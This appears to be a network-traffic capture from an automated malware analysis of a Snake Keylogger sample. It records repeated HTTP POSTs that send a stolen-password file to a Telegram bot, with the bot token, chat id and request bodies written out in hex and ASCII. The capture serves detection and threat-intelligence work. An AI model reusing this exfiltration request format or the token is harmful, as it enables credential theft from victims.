6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:28 UTC	198	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:28 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:28 UTC	198	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66876,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228807,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	49970	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:28 UTC	199	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f1f0f03d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:28 UTC	199	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 31 66 30 66 30 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f1f0f03dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:28 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:28 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:28 UTC	200	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66877,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228808,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.5	49972	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:28 UTC	200	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f24462a8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:28 UTC	201	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 32 34 34 36 32 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f24462a8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:28 UTC	201	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:28 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:28 UTC	202	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66878,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228808,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49780	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:43 UTC	20	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d725a9d7 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:43 UTC	20	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 37 32 35 61 39 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d725a9d7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:43 UTC	21	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:43 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:43 UTC	21	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66758,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228763,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	49973	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:29 UTC	202	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f290ad11 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:29 UTC	202	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 32 39 30 61 64 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f290ad11Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:29 UTC	203	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:29 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:29 UTC	203	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66880,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228809,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.5	49974	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:29 UTC	204	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f2c783aa Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:29 UTC	204	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 32 63 37 38 33 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f2c783aaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:29 UTC	205	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:29 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:29 UTC	205	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66881,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228809,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	49975	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:30 UTC	206	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f3031ddf Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:30 UTC	206	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 33 30 33 31 64 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f3031ddfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:30 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:30 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:30 UTC	207	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66882,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228810,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.5	49976	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:31 UTC	207	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f40e254e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:31 UTC	208	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 34 30 65 32 35 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f40e254eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:31 UTC	208	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:31 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:31 UTC	208	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: 